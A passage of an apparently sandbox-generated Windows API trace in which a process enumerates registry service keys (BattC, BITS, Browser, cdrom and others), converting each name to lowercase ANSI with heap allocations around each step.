BaseAddress=0x21f1850) returned 1 [0212.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0212.889] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0212.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0212.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.892] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.892] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.892] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.892] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.893] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.893] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.893] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.893] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0212.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.894] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.894] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.894] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0212.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0212.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0212.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0212.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0212.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, 